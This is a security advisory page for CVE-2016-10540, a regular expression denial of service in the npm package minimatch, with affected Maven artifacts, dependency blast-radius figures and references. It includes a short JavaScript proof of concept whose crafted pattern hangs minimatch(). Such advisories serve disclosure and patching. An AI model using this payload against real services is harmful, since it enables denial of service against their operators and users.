HIGH 7.5
CVE-2016-10540
Regular Expression Denial of Service in minimatch
Description
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Recommendation
Update to version 3.0.2 or later.
Affected Maven artifacts (3)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » minimatchvia npm minimatch | < 3.0.2 | 3.0.2 |
| org.webjars » minimatchvia npm minimatch | < 3.0.2 | 3.0.2 |
| org.webjars.npm » minimatchvia npm minimatch | < 3.0.2 | 3.0.2 |
Blast radius
3affected artifacts
18affected versions
8dependent artifacts (est.)
19dependent versions
62% of the dependent artifacts (5) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 4 |
| 2 hops | 7 |
| 3 hops | 8 |
Most used dependents
- org.webjars.npm » openlayers4 usages
- org.webjars » stylus3 usages
- org.webjars » stylus-nib2 usages
- org.webjars.npm » closure-util2 usages
- org.webjars » glob2 usages
- com.github.sbt » sbt-stylus_2.12_1.00 usages
- com.github.sbt » sbt-stylus_sbt20 usages
- org.webjars.npm » atlassian__aui0 usages
Computed from the dependency graph of build 20261125.0317 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2016-10540 | nvd.nist.gov |
| Advisory | GitHub advisory GHSA-hxm2-r34f-qmc5 | github.com |
| Web | advisories/118 | npmjs.com |
